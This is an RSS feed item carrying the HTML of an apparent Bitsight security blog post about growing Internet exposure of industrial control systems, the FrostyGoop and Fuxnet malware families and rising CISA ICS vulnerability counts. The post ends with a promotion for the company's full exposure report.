    &lt;div class="layout layout--onecol"&gt;
    &lt;div class="layout__region layout__region--content"&gt;
        &lt;div class="block block-layout-builder block-inline-blocktext"&gt;
    
    
          


  

&lt;div class="block-content block-content--type-text block-content--37841 block-content--view-mode-full container text-wysiwyg"&gt;

  
  

          &lt;div class="text-wysiwyg__title"&gt;
      

    &lt;/div&gt;
  
      &lt;div class="text-wysiwyg__body"&gt;
      
            &lt;div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"&gt;
                          &lt;p&gt;Remember when ICS malware was “rare”? Last year we got two new families built for one thing: disruption. FrostyGoop and Fuxnet are not Mirai with a wrench taped on or your &lt;a href="https://www.bitsight.com/blog/rapperbot-infection-ddos-split-second"&gt;typical DDoS botnet&lt;/a&gt;. They were built to target and disable devices that use Meter-bus and Modbus protocols, inflicting maximum damage. If you still believe that “our PLCs aren’t on the Internet,” then this is your nudge to actually go and check.&lt;/p&gt;

&lt;h2&gt;Exposure was declining, until it wasn’t&lt;/h2&gt;

&lt;p&gt;Our latest sweep, as detailed further in &lt;a href="https://enablement.bitsight.com/sh/585575736816034110/assets/?id=585568357005172262"&gt;The Unforgivable Exposure of ICS/OT report&lt;/a&gt;, shows &lt;a href="https://www.bitsight.com/blog/brief-introduction-industrial-control-systems-and-security"&gt;Industrial Control System&lt;/a&gt; and &lt;a href="https://www.bitsight.com/glossary/operational-technology-ot"&gt;Operational Technology&lt;/a&gt; (ICS/OT) exposure is climbing again. Fresh installs show up in the wild with plaintext protocols, factory creds, and “segmentation” that exists mostly in architecture diagrams. It is the usual suspects: Modbus, S7, BACnet, KNX, and ATG, to name a few. Old gear that should have retired and new gear that never should have been online. The attack surface is slowly growing and the trend is quite concerning. If nothing happens, we might be looking at 200,000 Internet exposed ICS/OT in less than a year.&lt;/p&gt;

&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/09/23/ICS-OT_unique-ip-monthly-count-resized.png" width="850" height="366" alt="ICS OT unique ip monthly count resized" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;


&lt;h2&gt;Critical infrastructure, critical impact&lt;/h2&gt;

&lt;p&gt;A large number of these systems are part of our &lt;a href="https://www.bitsight.com/glossary/critical-infrastructure-cybersecurity"&gt;critical infrastructure&lt;/a&gt;. Pair that with modern ICS-aware tooling (which is increasingly easier to find), and you get a very efficient path from scan to consequence. Not theoretical. Pumps stall. Lights flicker. Heating goes off. Safety systems go to manual mode at 03:13 in the morning while someone scrambles to find the right cellphone number to ‘call in case of emergency.’&lt;/p&gt;

&lt;p&gt;On top of more exposure, another piece of concerning news is that the number of vulnerabilities being found in these types of devices keeps growing, too. CISA keeps track of these and regularly &lt;a href="https://www.cisa.gov/news-events/cybersecurity-advisories?f%5B0%5D=advisory_type%3A95"&gt;publishes advisories&lt;/a&gt; on newly found vulnerabilities that affect industrial control systems. The &lt;a href="https://www.bitsight.com/groma-explorer/cve-software-list"&gt;number of CVEs&lt;/a&gt; being attributed is rising almost every year.&lt;/p&gt;

&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/09/23/ICS-OT_Yearly-CVE-count-resized.png" width="850" height="416" alt="ICS OT Yearly CVE count resized" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;


&lt;p&gt;In fact, by the time we are writing this post, there are already 1,850 CVEs from CISA ICS advisories published. (Actually, the correct number is 1,853 since &lt;a href="https://www.cisa.gov/news-events/ics-advisories/icsa-25-261-07"&gt;CISA just published 3 more on September 18&lt;/a&gt;, straight from Bitsight TRACE.) And the record-breaking year is not over yet, only time will tell how high we reach over the remaining three months of the year …&lt;/p&gt;

&lt;p&gt;Also concerning is the fact that, according to CISA, almost 30% of these vulnerabilities have no patch or update available.&lt;/p&gt;

&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/09/23/ICS-OT_patch-percent-resized.png" width="850" height="160" alt="ICS OT patch percent" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;


&lt;p&gt;Learn more in the full&amp;nbsp;&lt;a href="https://enablement.bitsight.com/sh/585575736816034110/assets/?id=585568357005172262"&gt;The Unforgivable Exposure of ICS/OT&lt;/a&gt; report, where we break down where exposure is rising, why attribution gets messy, and what will actually bend the curve: kill public access, set sane vendor defaults, make ISPs real partners, monitor continuously.&lt;/p&gt;

&lt;p&gt;These systems run more than plants and pumps: they run trust. Let’s stop leaving them one misconfigured router away from a bad day.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.bitsight.com/resources/unforgivable-exposure-ics-ot"&gt;Get our full analysis and takeaways&lt;/a&gt;, and stay tuned for another update in early 2026 as we continue our watch on all things unforgivable when it comes to ICS/OT.&lt;/p&gt;

              &lt;/div&gt;
      
    &lt;/div&gt;
  &lt;/div&gt;

      &lt;/div&gt;
  &lt;div class="block block-layout-builder block-inline-blocklibrary"&gt;
    
    
          
&lt;div class="block-content block-content--type-library block-content--37846 block-content--view-mode-full"&gt;
  
  
  &lt;div class="block-content__content"&gt;
    
            &lt;div class="field field--name-field-block field--type-entity-reference field--label-hidden field__item"&gt;
                          








  



  




  




  




  



&lt;div class="card--without-header block-content block-content--type-card block-content--37606 block-content--view-mode-default"&gt;
  
  
  
  &lt;article class="card  background--brand-charcoal"&gt;
    &lt;div class="card__inner-wrapper container "&gt;

                        &lt;div class="card__media"&gt;
            &lt;div class="card__media-screenshot"&gt;
              &lt;div class="card__circle-container"&gt;
                &lt;span class="card__circle"&gt;&lt;/span&gt;
                &lt;span class="card__circle"&gt;&lt;/span&gt;
                &lt;span class="card__circle"&gt;&lt;/span&gt;
              &lt;/div&gt;
            &lt;/div&gt;

            &lt;div class="media-wrapper "&gt;
                              
      &lt;div class="field field--name-field-media field--type-entity-reference field--label-hidden field__items"&gt;
              &lt;div class="field__item clearfix"&gt;
                                &lt;article class="media media--type-image media--view-mode-card"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/styles/card_media/public/2025/09/22/The%20Unforgivable%20Exposure%20of%20ICS-OT%20transparent%20cover.png?itok=w1-8wZFZ" width="1024" height="577" alt="The Unforgivable Exposure of ICS-OT transparent cover" typeof="foaf:Image" class="image-style-card-media"&gt;



              &lt;/div&gt;
      
  &lt;/article&gt;

                  &lt;/div&gt;
          &lt;/div&gt;
  
              
                          &lt;/div&gt;
          &lt;/div&gt;
        
              
      &lt;div class="card__content"&gt;
                          

  &lt;h2 class="eyebrow card__eyebrow"&gt;
          Research report
      
  &lt;/h2&gt;
        
                  &lt;div class="card__heading"&gt;
            &lt;h2&gt;&lt;svg style="max-width:35px;" viewBox="0 0 640 640"&gt;&lt;!--!Font Awesome Free 7.1.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free Copyright 2025 Fonticons, Inc.--&gt;&lt;path d="M341.5 45.1C337.4 37.1 329.1 32 320.1 32C311.1 32 302.8 37.1 298.7 45.1L225.1 189.3L65.2 214.7C56.3 216.1 48.9 222.4 46.1 231C43.3 239.6 45.6 249 51.9 255.4L166.3 369.9L141.1 529.8C139.7 538.7 143.4 547.7 150.7 553C158 558.3 167.6 559.1 175.7 555L320.1 481.6L464.4 555C472.4 559.1 482.1 558.3 489.4 553C496.7 547.7 500.4 538.8 499 529.8L473.7 369.9L588.1 255.4C594.5 249 596.7 239.6 593.9 231C591.1 222.4 583.8 216.1 574.8 214.7L415 189.3L341.5 45.1z" fill="#CFFF33" /&gt;&lt;/svg&gt; 12% Rise in Exposed ICS/OT&lt;/h2&gt;

          &lt;/div&gt;
        
        
                  &lt;div class="card__summary"&gt;
              &lt;div class="body-text"&gt;
              
            &lt;div class="clearfix text-formatted field field--name-field-summary field--type-text-long field--label-hidden field__item"&gt;
                          &lt;p&gt;Bitsight data shows a 12% year-over-year increase across Modbus, BACnet, and more. The report also covers regional hotspots, why devices are exposed, and practical fixes for security teams.&lt;/p&gt;
&lt;style type="text/css"&gt;.card__inner-wrapper {gap:50px;}
.card__content {padding-right: 2%;}
&lt;/style&gt;

              &lt;/div&gt;
      
        
  &lt;/div&gt;
          &lt;/div&gt;
        
                  &lt;div class="card__cta"&gt;
                          &lt;div class="card__button"&gt;
                


  &lt;a href="https://www.bitsight.com/resources/unforgivable-exposure-ics-ot" class="button card__button button--filled-color" aria-label&gt;Get the report
    
      &lt;/a&gt;
              &lt;/div&gt;
            
            
                      &lt;/div&gt;
              &lt;/div&gt;
    &lt;/div&gt;
  &lt;/article&gt;
    &lt;/div&gt;

              &lt;/div&gt;
      
  &lt;/div&gt;
&lt;/div&gt;

      &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

</description>
  <pubDate>Thu, 25 Sep 2025 05:42:18 +0000</pubDate>
    <dc:creator>Eric Cisternelli</dc:creator>
    <guid isPermaLink="false">17781 at https://www.bitsight.com</guid>
    </item>

  </channel>
</rss>
